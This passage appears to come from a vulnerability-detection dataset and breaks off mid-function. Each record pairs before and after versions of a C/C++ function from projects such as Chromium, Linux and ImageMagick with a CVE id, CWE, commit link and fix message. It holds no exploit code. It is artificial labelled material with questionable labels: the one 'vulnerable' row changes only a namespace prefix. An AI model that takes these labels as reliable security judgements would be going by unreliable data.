static int fuse_send_open(struct fuse_conn *fc, u64 nodeid, struct file *file, int opcode, struct fuse_open_out *outargp) { struct fuse_open_in inarg; FUSE_ARGS(args); memset(&inarg, 0, sizeof(inarg)); inarg.flags = file->f_flags & ~(O_CREAT | O_EXCL | O_NOCTTY); if (!fc->atomic_o_trunc) inarg.flags &= ~O_TRUNC; args.in.h.opcode = opcode; args.in.h.nodeid = nodeid; args.in.numargs = 1; args.in.args[0].size = sizeof(inarg); args.in.args[0].value = &inarg; args.out.numargs = 1; args.out.args[0].size = sizeof(*outargp); args.out.args[0].value = outargp; return fuse_simple_request(fc, &args); }
static int fuse_send_open(struct fuse_conn *fc, u64 nodeid, struct file *file, int opcode, struct fuse_open_out *outargp) { struct fuse_open_in inarg; FUSE_ARGS(args); memset(&inarg, 0, sizeof(inarg)); inarg.flags = file->f_flags & ~(O_CREAT | O_EXCL | O_NOCTTY); if (!fc->atomic_o_trunc) inarg.flags &= ~O_TRUNC; args.in.h.opcode = opcode; args.in.h.nodeid = nodeid; args.in.numargs = 1; args.in.args[0].size = sizeof(inarg); args.in.args[0].value = &inarg; args.out.numargs = 1; args.out.args[0].size = sizeof(*outargp); args.out.args[0].value = outargp; return fuse_simple_request(fc, &args); }
C
linux
0
CVE-2013-6626
https://www.cvedetails.com/cve/CVE-2013-6626/
null
https://github.com/chromium/chromium/commit/90fb08ed0146c9beacfd4dde98a20fc45419fff3
90fb08ed0146c9beacfd4dde98a20fc45419fff3
Cancel JavaScript dialogs when an interstitial appears. BUG=295695 TEST=See bug for repro steps. Review URL: https://chromiumcodereview.appspot.com/24360011 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@225026 0039d316-1c4b-4281-b951-d872f2087c98
void WebContentsImpl::DidStartLoading(RenderViewHost* render_view_host) { SetIsLoading(true, NULL); FOR_EACH_OBSERVER(WebContentsObserver, observers_, DidStartLoading(render_view_host)); }
void WebContentsImpl::DidStartLoading(RenderViewHost* render_view_host) { SetIsLoading(true, NULL); FOR_EACH_OBSERVER(WebContentsObserver, observers_, DidStartLoading(render_view_host)); }
C
Chrome
0
null
null
null
https://github.com/chromium/chromium/commit/befb46ae3385fa13975521e9a2281e35805b339e
befb46ae3385fa13975521e9a2281e35805b339e
2009-10-23 Chris Evans <cevans@chromium.org> Reviewed by Adam Barth. Added test for bug 27239 (ignore Refresh for view source mode). https://bugs.webkit.org/show_bug.cgi?id=27239 * http/tests/security/view-source-no-refresh.html: Added * http/tests/security/view-source-no-refresh-expected.txt: Added * http/tests/security/resources/view-source-no-refresh.php: Added 2009-10-23 Chris Evans <cevans@chromium.org> Reviewed by Adam Barth. Ignore the Refresh header if we're in view source mode. https://bugs.webkit.org/show_bug.cgi?id=27239 Test: http/tests/security/view-source-no-refresh.html * loader/FrameLoader.cpp: ignore Refresh in view-source mode. git-svn-id: svn://svn.chromium.org/blink/trunk@50018 bbb929c8-8fbe-4397-9dbb-9b2b20218538
void FrameLoader::continueLoadAfterNewWindowPolicy(const ResourceRequest& request, PassRefPtr<FormState> formState, const String& frameName, bool shouldContinue) { if (!shouldContinue) return; RefPtr<Frame> frame = m_frame; RefPtr<Frame> mainFrame = m_client->dispatchCreatePage(); if (!mainFrame) return; if (frameName != "_blank") mainFrame->tree()->setName(frameName); mainFrame->page()->setOpenedByDOM(); mainFrame->loader()->m_client->dispatchShow(); if (!m_suppressOpenerInNewFrame) mainFrame->loader()->setOpener(frame.get()); mainFrame->loader()->loadWithNavigationAction(request, NavigationAction(), false, FrameLoadTypeStandard, formState); }
void FrameLoader::continueLoadAfterNewWindowPolicy(const ResourceRequest& request, PassRefPtr<FormState> formState, const String& frameName, bool shouldContinue) { if (!shouldContinue) return; RefPtr<Frame> frame = m_frame; RefPtr<Frame> mainFrame = m_client->dispatchCreatePage(); if (!mainFrame) return; if (frameName != "_blank") mainFrame->tree()->setName(frameName); mainFrame->page()->setOpenedByDOM(); mainFrame->loader()->m_client->dispatchShow(); if (!m_suppressOpenerInNewFrame) mainFrame->loader()->setOpener(frame.get()); mainFrame->loader()->loadWithNavigationAction(request, NavigationAction(), false, FrameLoadTypeStandard, formState); }
C
Chrome
0
CVE-2017-5112
https://www.cvedetails.com/cve/CVE-2017-5112/
CWE-119
https://github.com/chromium/chromium/commit/f6ac1dba5e36f338a490752a2cbef3339096d9fe
f6ac1dba5e36f338a490752a2cbef3339096d9fe
Reset ES3 pixel pack parameters and PIXEL_PACK_BUFFER binding in DrawingBuffer before ReadPixels() and recover them later. BUG=740603 TEST=new conformance test R=kbr@chromium.org,piman@chromium.org Change-Id: I3ea54c6cc34f34e249f7c8b9f792d93c5e1958f4 Reviewed-on: https://chromium-review.googlesource.com/570840 Reviewed-by: Antoine Labour <piman@chromium.org> Reviewed-by: Kenneth Russell <kbr@chromium.org> Commit-Queue: Zhenyao Mo <zmo@chromium.org> Cr-Commit-Position: refs/heads/master@{#486518}
void WebGLRenderingContextBase::blendColor(GLfloat red, GLfloat green, GLfloat blue, GLfloat alpha) { if (isContextLost()) return; ContextGL()->BlendColor(red, green, blue, alpha); }
void WebGLRenderingContextBase::blendColor(GLfloat red, GLfloat green, GLfloat blue, GLfloat alpha) { if (isContextLost()) return; ContextGL()->BlendColor(red, green, blue, alpha); }
C
Chrome
0
CVE-2012-2867
https://www.cvedetails.com/cve/CVE-2012-2867/
null
https://github.com/chromium/chromium/commit/b7a161633fd7ecb59093c2c56ed908416292d778
b7a161633fd7ecb59093c2c56ed908416292d778
[GTK][WTR] Implement AccessibilityUIElement::stringValue https://bugs.webkit.org/show_bug.cgi?id=102951 Reviewed by Martin Robinson. Implement AccessibilityUIElement::stringValue in the ATK backend in the same manner it is implemented in DumpRenderTree. * WebKitTestRunner/InjectedBundle/atk/AccessibilityUIElementAtk.cpp: (WTR::replaceCharactersForResults): (WTR): (WTR::AccessibilityUIElement::stringValue): git-svn-id: svn://svn.chromium.org/blink/trunk@135485 bbb929c8-8fbe-4397-9dbb-9b2b20218538
int AccessibilityUIElement::rowCount() { if (!m_element || !ATK_IS_TABLE(m_element)) return 0; return atk_table_get_n_rows(ATK_TABLE(m_element)); }
int AccessibilityUIElement::rowCount() { if (!m_element || !ATK_IS_TABLE(m_element)) return 0; return atk_table_get_n_rows(ATK_TABLE(m_element)); }
C
Chrome
0
CVE-2016-1613
https://www.cvedetails.com/cve/CVE-2016-1613/
null
https://github.com/chromium/chromium/commit/7394cf6f43d7a86630d3eb1c728fd63c621b5530
7394cf6f43d7a86630d3eb1c728fd63c621b5530
Connect the LocalDB to TabManager. Bug: 773382 Change-Id: Iec8fe5226ee175105d51f300f30b4865478ac099 Reviewed-on: https://chromium-review.googlesource.com/1118611 Commit-Queue: Sébastien Marchand <sebmarchand@chromium.org> Reviewed-by: François Doray <fdoray@chromium.org> Cr-Commit-Position: refs/heads/master@{#572871}
void DiscardAndExplicitlyReloadTest(DiscardReason reason) { LifecycleUnit* background_lifecycle_unit = nullptr; LifecycleUnit* foreground_lifecycle_unit = nullptr; CreateTwoTabs(true /* focus_tab_strip */, &background_lifecycle_unit, &foreground_lifecycle_unit); content::WebContents* initial_web_contents = tab_strip_model_->GetWebContentsAt(0); EXPECT_EQ(LifecycleUnitState::ACTIVE, background_lifecycle_unit->GetState()); EXPECT_CALL(tab_observer_, OnDiscardedStateChange(::testing::_, true)); background_lifecycle_unit->Discard(reason); ::testing::Mock::VerifyAndClear(&tab_observer_); TransitionFromPendingDiscardToDiscardedIfNeeded(reason, background_lifecycle_unit); EXPECT_NE(initial_web_contents, tab_strip_model_->GetWebContentsAt(0)); EXPECT_FALSE(tab_strip_model_->GetWebContentsAt(0) ->GetController() .GetPendingEntry()); EXPECT_CALL(tab_observer_, OnDiscardedStateChange(::testing::_, false)); tab_strip_model_->GetWebContentsAt(0)->GetController().Reload( content::ReloadType::NORMAL, false); ::testing::Mock::VerifyAndClear(&tab_observer_); EXPECT_EQ(LifecycleUnitState::ACTIVE, background_lifecycle_unit->GetState()); EXPECT_TRUE(tab_strip_model_->GetWebContentsAt(0) ->GetController() .GetPendingEntry()); }
void DiscardAndExplicitlyReloadTest(DiscardReason reason) { LifecycleUnit* background_lifecycle_unit = nullptr; LifecycleUnit* foreground_lifecycle_unit = nullptr; CreateTwoTabs(true /* focus_tab_strip */, &background_lifecycle_unit, &foreground_lifecycle_unit); content::WebContents* initial_web_contents = tab_strip_model_->GetWebContentsAt(0); EXPECT_EQ(LifecycleUnitState::ACTIVE, background_lifecycle_unit->GetState()); EXPECT_CALL(tab_observer_, OnDiscardedStateChange(testing::_, true)); background_lifecycle_unit->Discard(reason); testing::Mock::VerifyAndClear(&tab_observer_); TransitionFromPendingDiscardToDiscardedIfNeeded(reason, background_lifecycle_unit); EXPECT_NE(initial_web_contents, tab_strip_model_->GetWebContentsAt(0)); EXPECT_FALSE(tab_strip_model_->GetWebContentsAt(0) ->GetController() .GetPendingEntry()); EXPECT_CALL(tab_observer_, OnDiscardedStateChange(testing::_, false)); tab_strip_model_->GetWebContentsAt(0)->GetController().Reload( content::ReloadType::NORMAL, false); testing::Mock::VerifyAndClear(&tab_observer_); EXPECT_EQ(LifecycleUnitState::ACTIVE, background_lifecycle_unit->GetState()); EXPECT_TRUE(tab_strip_model_->GetWebContentsAt(0) ->GetController() .GetPendingEntry()); }
C
Chrome
1
CVE-2016-5217
https://www.cvedetails.com/cve/CVE-2016-5217/
CWE-284
https://github.com/chromium/chromium/commit/0d68cbd77addd38909101f76847deea56de00524
0d68cbd77addd38909101f76847deea56de00524
Fix PIP window being blank after minimize/show DesktopWindowTreeHostX11::SetVisible only made the call into OnNativeWidgetVisibilityChanged when transitioning from shown to minimized and not vice versa. This is because this change https://chromium-review.googlesource.com/c/chromium/src/+/1437263 considered IsVisible to be true when minimized, which made IsVisible always true in this case. This caused layers to be hidden but never shown again. This is a reland of: https://chromium-review.googlesource.com/c/chromium/src/+/1580103 Bug: 949199 Change-Id: I2151cd09e537d8ce8781897f43a3b8e9cec75996 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1584617 Reviewed-by: Scott Violet <sky@chromium.org> Commit-Queue: enne <enne@chromium.org> Cr-Commit-Position: refs/heads/master@{#654280}
void DesktopWindowTreeHostX11::BeforeActivationStateChanged() { was_active_ = IsActive(); had_pointer_ = has_pointer_; had_pointer_grab_ = has_pointer_grab_; had_window_focus_ = has_window_focus_; }
void DesktopWindowTreeHostX11::BeforeActivationStateChanged() { was_active_ = IsActive(); had_pointer_ = has_pointer_; had_pointer_grab_ = has_pointer_grab_; had_window_focus_ = has_window_focus_; }
C
Chrome
0
CVE-2011-2822
https://www.cvedetails.com/cve/CVE-2011-2822/
CWE-20
https://github.com/chromium/chromium/commit/a64c3cf0ab6da24a9a010a45ebe4794422d40c71
a64c3cf0ab6da24a9a010a45ebe4794422d40c71
Be a little more careful whether something is an URL or a file path. BUG=72492 Review URL: http://codereview.chromium.org/7572046 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@95731 0039d316-1c4b-4281-b951-d872f2087c98
static std::string FixupPath(const std::string& text) { DCHECK(!text.empty()); FilePath::StringType filename; #if defined(OS_WIN) FilePath input_path(UTF8ToWide(text)); PrepareStringForFileOps(input_path, &filename); if (filename.length() > 1 && filename[1] == '|') filename[1] = ':'; #elif defined(OS_POSIX) FilePath input_path(text); PrepareStringForFileOps(input_path, &filename); if (filename.length() > 0 && filename[0] == '~') filename = FixupHomedir(filename); #endif GURL file_url = net::FilePathToFileURL(FilePath(filename)); if (file_url.is_valid()) { return UTF16ToUTF8(net::FormatUrl(file_url, std::string(), net::kFormatUrlOmitUsernamePassword, UnescapeRule::NORMAL, NULL, NULL, NULL)); } return text; }
static std::string FixupPath(const std::string& text) { DCHECK(!text.empty()); FilePath::StringType filename; #if defined(OS_WIN) FilePath input_path(UTF8ToWide(text)); PrepareStringForFileOps(input_path, &filename); if (filename.length() > 1 && filename[1] == '|') filename[1] = ':'; #elif defined(OS_POSIX) FilePath input_path(text); PrepareStringForFileOps(input_path, &filename); if (filename.length() > 0 && filename[0] == '~') filename = FixupHomedir(filename); #endif GURL file_url = net::FilePathToFileURL(FilePath(filename)); if (file_url.is_valid()) { return UTF16ToUTF8(net::FormatUrl(file_url, std::string(), net::kFormatUrlOmitUsernamePassword, UnescapeRule::NORMAL, NULL, NULL, NULL)); } return text; }
C
Chrome
0
CVE-2016-4564
https://www.cvedetails.com/cve/CVE-2016-4564/
CWE-119
https://github.com/ImageMagick/ImageMagick/commit/726812fa2fa7ce16bcf58f6e115f65427a1c0950
726812fa2fa7ce16bcf58f6e115f65427a1c0950
Prevent buffer overflow in magick/draw.c
static inline void TracePoint(PrimitiveInfo *primitive_info, const PointInfo point) { primitive_info->coordinates=1; primitive_info->point=point; }
static inline void TracePoint(PrimitiveInfo *primitive_info, const PointInfo point) { primitive_info->coordinates=1; primitive_info->point=point; }
C
ImageMagick
0
CVE-2018-17942
https://www.cvedetails.com/cve/CVE-2018-17942/
CWE-119
https://github.com/coreutils/gnulib/commit/278b4175c9d7dd47c1a3071554aac02add3b3c35
278b4175c9d7dd47c1a3071554aac02add3b3c35
vasnprintf: Fix heap memory overrun bug. Reported by Ben Pfaff <blp@cs.stanford.edu> in <https://lists.gnu.org/archive/html/bug-gnulib/2018-09/msg00107.html>. * lib/vasnprintf.c (convert_to_decimal): Allocate one more byte of memory. * tests/test-vasnprintf.c (test_function): Add another test.
test_vasnprintf () { test_function (my_asnprintf); }
test_vasnprintf () { test_function (my_asnprintf); }
C
gnulib
0
CVE-2019-5755
https://www.cvedetails.com/cve/CVE-2019-5755/
CWE-189
https://github.com/chromium/chromium/commit/2706470a422dec8f4ae2538e80f0e7e3c4f4f7f6
2706470a422dec8f4ae2538e80f0e7e3c4f4f7f6
[Payment Request][Desktop] Prevent use after free. Before this patch, a compromised renderer on desktop could make IPC methods into Payment Request in an unexpected ordering and cause use after free in the browser. This patch will disconnect the IPC pipes if: - Init() is called more than once. - Any other method is called before Init(). - Show() is called more than once. - Retry(), UpdateWith(), NoupdatedPaymentDetails(), Abort(), or Complete() are called before Show(). This patch re-orders the IPC methods in payment_request.cc to match the order in payment_request.h, which eases verifying correctness of their error handling. This patch prints more errors to the developer console, if available, to improve debuggability by web developers, who rarely check where LOG prints. After this patch, unexpected ordering of calls into the Payment Request IPC from the renderer to the browser on desktop will print an error in the developer console and disconnect the IPC pipes. The binary might increase slightly in size because more logs are included in the release version instead of being stripped at compile time. Bug: 912947 Change-Id: Iac2131181c64cd49b4e5ec99f4b4a8ae5d8df57a Reviewed-on: https://chromium-review.googlesource.com/c/1370198 Reviewed-by: anthonyvd <anthonyvd@chromium.org> Commit-Queue: Rouslan Solomakhin <rouslan@chromium.org> Cr-Commit-Position: refs/heads/master@{#616822}
void PaymentRequest::CanMakePaymentCallback(bool can_make_payment) { if (!spec_ || CanMakePaymentQueryFactory::GetInstance() ->GetForContext(web_contents_->GetBrowserContext()) ->CanQuery(top_level_origin_, frame_origin_, spec_->stringified_method_data())) { RespondToCanMakePaymentQuery(can_make_payment, false); } else if (OriginSecurityChecker::IsOriginLocalhostOrFile(frame_origin_)) { RespondToCanMakePaymentQuery(can_make_payment, true); } else { client_->OnCanMakePayment( mojom::CanMakePaymentQueryResult::QUERY_QUOTA_EXCEEDED); } if (observer_for_testing_) observer_for_testing_->OnCanMakePaymentReturned(); }
void PaymentRequest::CanMakePaymentCallback(bool can_make_payment) { if (!spec_ || CanMakePaymentQueryFactory::GetInstance() ->GetForContext(web_contents_->GetBrowserContext()) ->CanQuery(top_level_origin_, frame_origin_, spec_->stringified_method_data())) { RespondToCanMakePaymentQuery(can_make_payment, false); } else if (OriginSecurityChecker::IsOriginLocalhostOrFile(frame_origin_)) { RespondToCanMakePaymentQuery(can_make_payment, true); } else { client_->OnCanMakePayment( mojom::CanMakePaymentQueryResult::QUERY_QUOTA_EXCEEDED); } if (observer_for_testing_) observer_for_testing_->OnCanMakePaymentReturned(); }
C
Chrome
0
CVE-2015-5195
https://www.cvedetails.com/cve/CVE-2015-5195/
CWE-20
https://github.com/ntp-project/ntp/commit/52e977d79a0c4ace997e5c74af429844da2f27be
52e977d79a0c4ace997e5c74af429844da2f27be
[Bug 1773] openssl not detected during ./configure. [Bug 1774] Segfaults if cryptostats enabled and built without OpenSSL.
leap_month( u_long sec /* current NTP second */ ) { int leap; int32 year, month; u_int32 ndays; ntpcal_split tmp; vint64 tvl; /* --*-- expand time and split to days */ tvl = ntpcal_ntp_to_ntp(sec, NULL); tmp = ntpcal_daysplit(&tvl); /* --*-- split to years and days in year */ tmp = ntpcal_split_eradays(tmp.hi + DAY_NTP_STARTS - 1, &leap); year = tmp.hi; /* --*-- split days of year to month */ tmp = ntpcal_split_yeardays(tmp.lo, leap); month = tmp.hi; /* --*-- get nominal start of next month */ ndays = ntpcal_edate_to_eradays(year, month+1, 0) + 1 - DAY_NTP_STARTS; return (u_int32)(ndays*SECSPERDAY - sec); }
leap_month( u_long sec /* current NTP second */ ) { int leap; int32 year, month; u_int32 ndays; ntpcal_split tmp; vint64 tvl; /* --*-- expand time and split to days */ tvl = ntpcal_ntp_to_ntp(sec, NULL); tmp = ntpcal_daysplit(&tvl); /* --*-- split to years and days in year */ tmp = ntpcal_split_eradays(tmp.hi + DAY_NTP_STARTS - 1, &leap); year = tmp.hi; /* --*-- split days of year to month */ tmp = ntpcal_split_yeardays(tmp.lo, leap); month = tmp.hi; /* --*-- get nominal start of next month */ ndays = ntpcal_edate_to_eradays(year, month+1, 0) + 1 - DAY_NTP_STARTS; return (u_int32)(ndays*SECSPERDAY - sec); }
C
ntp
0
CVE-2017-5093
https://www.cvedetails.com/cve/CVE-2017-5093/
CWE-20
https://github.com/chromium/chromium/commit/0720b02e4f303ea6b114d4ae9453e3a7ff55f8dc
0720b02e4f303ea6b114d4ae9453e3a7ff55f8dc
If JavaScript shows a dialog, cause the page to lose fullscreen. BUG=670135, 550017, 726761, 728276 Review-Url: https://codereview.chromium.org/2906133004 Cr-Commit-Position: refs/heads/master@{#478884}
void WebContentsImpl::DidGetRedirectForResourceRequest( const ResourceRedirectDetails& details) { for (auto& observer : observers_) observer.DidGetRedirectForResourceRequest(details); NotificationService::current()->Notify( NOTIFICATION_RESOURCE_RECEIVED_REDIRECT, Source<WebContents>(this), Details<const ResourceRedirectDetails>(&details)); }
void WebContentsImpl::DidGetRedirectForResourceRequest( const ResourceRedirectDetails& details) { for (auto& observer : observers_) observer.DidGetRedirectForResourceRequest(details); NotificationService::current()->Notify( NOTIFICATION_RESOURCE_RECEIVED_REDIRECT, Source<WebContents>(this), Details<const ResourceRedirectDetails>(&details)); }
C
Chrome
0
CVE-2015-0239
https://www.cvedetails.com/cve/CVE-2015-0239/
CWE-362
https://github.com/torvalds/linux/commit/f3747379accba8e95d70cec0eae0582c8c182050
f3747379accba8e95d70cec0eae0582c8c182050
KVM: x86: SYSENTER emulation is broken SYSENTER emulation is broken in several ways: 1. It misses the case of 16-bit code segments completely (CVE-2015-0239). 2. MSR_IA32_SYSENTER_CS is checked in 64-bit mode incorrectly (bits 0 and 1 can still be set without causing #GP). 3. MSR_IA32_SYSENTER_EIP and MSR_IA32_SYSENTER_ESP are not masked in legacy-mode. 4. There is some unneeded code. Fix it. Cc: stable@vger.linux.org Signed-off-by: Nadav Amit <namit@cs.technion.ac.il> Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
static int em_push_sreg(struct x86_emulate_ctxt *ctxt) { int seg = ctxt->src2.val; ctxt->src.val = get_segment_selector(ctxt, seg); if (ctxt->op_bytes == 4) { rsp_increment(ctxt, -2); ctxt->op_bytes = 2; } return em_push(ctxt); }
static int em_push_sreg(struct x86_emulate_ctxt *ctxt) { int seg = ctxt->src2.val; ctxt->src.val = get_segment_selector(ctxt, seg); if (ctxt->op_bytes == 4) { rsp_increment(ctxt, -2); ctxt->op_bytes = 2; } return em_push(ctxt); }
C
linux
0
null
null
null
https://github.com/chromium/chromium/commit/5041f984669fe3a989a84c348eb838c8f7233f6b
5041f984669fe3a989a84c348eb838c8f7233f6b
AutoFill: Release the cached frame when we receive the frameDestroyed() message from WebKit. BUG=48857 TEST=none Review URL: http://codereview.chromium.org/3173005 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@55789 0039d316-1c4b-4281-b951-d872f2087c98
bool RenderView::runFileChooser( const WebKit::WebFileChooserParams& params, WebFileChooserCompletion* chooser_completion) { ViewHostMsg_RunFileChooser_Params ipc_params; ipc_params.mode = params.multiSelect ? ViewHostMsg_RunFileChooser_Params::OpenMultiple : ViewHostMsg_RunFileChooser_Params::Open; ipc_params.title = params.title; ipc_params.default_file_name = webkit_glue::WebStringToFilePath(params.initialValue); return ScheduleFileChooser(ipc_params, chooser_completion); }
bool RenderView::runFileChooser( const WebKit::WebFileChooserParams& params, WebFileChooserCompletion* chooser_completion) { ViewHostMsg_RunFileChooser_Params ipc_params; ipc_params.mode = params.multiSelect ? ViewHostMsg_RunFileChooser_Params::OpenMultiple : ViewHostMsg_RunFileChooser_Params::Open; ipc_params.title = params.title; ipc_params.default_file_name = webkit_glue::WebStringToFilePath(params.initialValue); return ScheduleFileChooser(ipc_params, chooser_completion); }
C
Chrome
0
CVE-2016-2476
https://www.cvedetails.com/cve/CVE-2016-2476/
CWE-119
https://android.googlesource.com/platform/frameworks/av/+/295c883fe3105b19bcd0f9e07d54c6b589fc5bff
295c883fe3105b19bcd0f9e07d54c6b589fc5bff
DO NOT MERGE Verify OMX buffer sizes prior to access Bug: 27207275 Change-Id: I4412825d1ee233d993af0a67708bea54304ff62d
SoftVideoDecoderOMXComponent::SoftVideoDecoderOMXComponent( const char *name, const char *componentRole, OMX_VIDEO_CODINGTYPE codingType, const CodecProfileLevel *profileLevels, size_t numProfileLevels, int32_t width, int32_t height, const OMX_CALLBACKTYPE *callbacks, OMX_PTR appData, OMX_COMPONENTTYPE **component) : SimpleSoftOMXComponent(name, callbacks, appData, component), mIsAdaptive(false), mAdaptiveMaxWidth(0), mAdaptiveMaxHeight(0), mWidth(width), mHeight(height), mCropLeft(0), mCropTop(0), mCropWidth(width), mCropHeight(height), mOutputPortSettingsChange(NONE), mMinInputBufferSize(384), // arbitrary, using one uncompressed macroblock mMinCompressionRatio(1), // max input size is normally the output size mComponentRole(componentRole), mCodingType(codingType), mProfileLevels(profileLevels), mNumProfileLevels(numProfileLevels) { }
SoftVideoDecoderOMXComponent::SoftVideoDecoderOMXComponent( const char *name, const char *componentRole, OMX_VIDEO_CODINGTYPE codingType, const CodecProfileLevel *profileLevels, size_t numProfileLevels, int32_t width, int32_t height, const OMX_CALLBACKTYPE *callbacks, OMX_PTR appData, OMX_COMPONENTTYPE **component) : SimpleSoftOMXComponent(name, callbacks, appData, component), mIsAdaptive(false), mAdaptiveMaxWidth(0), mAdaptiveMaxHeight(0), mWidth(width), mHeight(height), mCropLeft(0), mCropTop(0), mCropWidth(width), mCropHeight(height), mOutputPortSettingsChange(NONE), mMinInputBufferSize(384), // arbitrary, using one uncompressed macroblock mMinCompressionRatio(1), // max input size is normally the output size mComponentRole(componentRole), mCodingType(codingType), mProfileLevels(profileLevels), mNumProfileLevels(numProfileLevels) { }
C
Android
0
CVE-2013-3229
https://www.cvedetails.com/cve/CVE-2013-3229/
CWE-200
https://github.com/torvalds/linux/commit/a5598bd9c087dc0efc250a5221e5d0e6f584ee88
a5598bd9c087dc0efc250a5221e5d0e6f584ee88
iucv: Fix missing msg_namelen update in iucv_sock_recvmsg() The current code does not fill the msg_name member in case it is set. It also does not set the msg_namelen member to 0 and therefore makes net/socket.c leak the local, uninitialized sockaddr_storage variable to userland -- 128 bytes of kernel stack memory. Fix that by simply setting msg_namelen to 0 as obviously nobody cared about iucv_sock_recvmsg() not filling the msg_name in case it was set. Cc: Ursula Braun <ursula.braun@de.ibm.com> Signed-off-by: Mathias Krause <minipli@googlemail.com> Signed-off-by: David S. Miller <davem@davemloft.net>
static void iucv_callback_connrej(struct iucv_path *path, u8 ipuser[16]) { struct sock *sk = path->private; if (sk->sk_state == IUCV_CLOSED) return; bh_lock_sock(sk); iucv_sever_path(sk, 1); sk->sk_state = IUCV_DISCONN; sk->sk_state_change(sk); bh_unlock_sock(sk); }
static void iucv_callback_connrej(struct iucv_path *path, u8 ipuser[16]) { struct sock *sk = path->private; if (sk->sk_state == IUCV_CLOSED) return; bh_lock_sock(sk); iucv_sever_path(sk, 1); sk->sk_state = IUCV_DISCONN; sk->sk_state_change(sk); bh_unlock_sock(sk); }
C
linux
0
CVE-2018-8043
https://www.cvedetails.com/cve/CVE-2018-8043/
CWE-476
https://github.com/torvalds/linux/commit/297a6961ffb8ff4dc66c9fbf53b924bd1dda05d5
297a6961ffb8ff4dc66c9fbf53b924bd1dda05d5
net: phy: mdio-bcm-unimac: fix potential NULL dereference in unimac_mdio_probe() platform_get_resource() may fail and return NULL, so we should better check it's return value to avoid a NULL pointer dereference a bit later in the code. This is detected by Coccinelle semantic patch. @@ expression pdev, res, n, t, e, e1, e2; @@ res = platform_get_resource(pdev, t, n); + if (!res) + return -EINVAL; ... when != res == NULL e = devm_ioremap(e1, res->start, e2); Signed-off-by: Wei Yongjun <weiyongjun1@huawei.com> Signed-off-by: David S. Miller <davem@davemloft.net>
static inline void unimac_mdio_start(struct unimac_mdio_priv *priv) { u32 reg; reg = unimac_mdio_readl(priv, MDIO_CMD); reg |= MDIO_START_BUSY; unimac_mdio_writel(priv, reg, MDIO_CMD); }
static inline void unimac_mdio_start(struct unimac_mdio_priv *priv) { u32 reg; reg = unimac_mdio_readl(priv, MDIO_CMD); reg |= MDIO_START_BUSY; unimac_mdio_writel(priv, reg, MDIO_CMD); }
C
linux
0
CVE-2016-1696
https://www.cvedetails.com/cve/CVE-2016-1696/
CWE-284
https://github.com/chromium/chromium/commit/c0569cc04741cccf6548c2169fcc1609d958523f
c0569cc04741cccf6548c2169fcc1609d958523f
[Extensions] Expand bindings access checks BUG=601149 BUG=601073 Review URL: https://codereview.chromium.org/1866103002 Cr-Commit-Position: refs/heads/master@{#387710}
std::vector<std::pair<std::string, int> > Dispatcher::GetJsResources() { std::vector<std::pair<std::string, int> > resources; resources.push_back(std::make_pair("appView", IDR_APP_VIEW_JS)); resources.push_back(std::make_pair("entryIdManager", IDR_ENTRY_ID_MANAGER)); resources.push_back(std::make_pair(kEventBindings, IDR_EVENT_BINDINGS_JS)); resources.push_back(std::make_pair("extensionOptions", IDR_EXTENSION_OPTIONS_JS)); resources.push_back(std::make_pair("extensionOptionsAttributes", IDR_EXTENSION_OPTIONS_ATTRIBUTES_JS)); resources.push_back(std::make_pair("extensionOptionsConstants", IDR_EXTENSION_OPTIONS_CONSTANTS_JS)); resources.push_back(std::make_pair("extensionOptionsEvents", IDR_EXTENSION_OPTIONS_EVENTS_JS)); resources.push_back(std::make_pair("extensionView", IDR_EXTENSION_VIEW_JS)); resources.push_back(std::make_pair("extensionViewApiMethods", IDR_EXTENSION_VIEW_API_METHODS_JS)); resources.push_back(std::make_pair("extensionViewAttributes", IDR_EXTENSION_VIEW_ATTRIBUTES_JS)); resources.push_back(std::make_pair("extensionViewConstants", IDR_EXTENSION_VIEW_CONSTANTS_JS)); resources.push_back(std::make_pair("extensionViewEvents", IDR_EXTENSION_VIEW_EVENTS_JS)); resources.push_back(std::make_pair( "extensionViewInternal", IDR_EXTENSION_VIEW_INTERNAL_CUSTOM_BINDINGS_JS)); resources.push_back(std::make_pair("guestView", IDR_GUEST_VIEW_JS)); resources.push_back(std::make_pair("guestViewAttributes", IDR_GUEST_VIEW_ATTRIBUTES_JS)); resources.push_back(std::make_pair("guestViewContainer", IDR_GUEST_VIEW_CONTAINER_JS)); resources.push_back(std::make_pair("guestViewDeny", IDR_GUEST_VIEW_DENY_JS)); resources.push_back(std::make_pair("guestViewEvents", IDR_GUEST_VIEW_EVENTS_JS)); if (content::BrowserPluginGuestMode::UseCrossProcessFramesForGuests()) { resources.push_back(std::make_pair("guestViewIframe", IDR_GUEST_VIEW_IFRAME_JS)); resources.push_back(std::make_pair("guestViewIframeContainer", IDR_GUEST_VIEW_IFRAME_CONTAINER_JS)); } resources.push_back(std::make_pair("imageUtil", IDR_IMAGE_UTIL_JS)); resources.push_back(std::make_pair("json_schema", IDR_JSON_SCHEMA_JS)); resources.push_back(std::make_pair("lastError", IDR_LAST_ERROR_JS)); resources.push_back(std::make_pair("messaging", IDR_MESSAGING_JS)); resources.push_back(std::make_pair("messaging_utils", IDR_MESSAGING_UTILS_JS)); resources.push_back(std::make_pair(kSchemaUtils, IDR_SCHEMA_UTILS_JS)); resources.push_back(std::make_pair("sendRequest", IDR_SEND_REQUEST_JS)); resources.push_back(std::make_pair("setIcon", IDR_SET_ICON_JS)); resources.push_back(std::make_pair("test", IDR_TEST_CUSTOM_BINDINGS_JS)); resources.push_back( std::make_pair("test_environment_specific_bindings", IDR_BROWSER_TEST_ENVIRONMENT_SPECIFIC_BINDINGS_JS)); resources.push_back(std::make_pair("uncaught_exception_handler", IDR_UNCAUGHT_EXCEPTION_HANDLER_JS)); resources.push_back(std::make_pair("utils", IDR_UTILS_JS)); resources.push_back(std::make_pair("webRequest", IDR_WEB_REQUEST_CUSTOM_BINDINGS_JS)); resources.push_back( std::make_pair("webRequestInternal", IDR_WEB_REQUEST_INTERNAL_CUSTOM_BINDINGS_JS)); resources.push_back(std::make_pair("webView", IDR_WEB_VIEW_JS)); resources.push_back(std::make_pair("webViewActionRequests", IDR_WEB_VIEW_ACTION_REQUESTS_JS)); resources.push_back(std::make_pair("webViewApiMethods", IDR_WEB_VIEW_API_METHODS_JS)); resources.push_back(std::make_pair("webViewAttributes", IDR_WEB_VIEW_ATTRIBUTES_JS)); 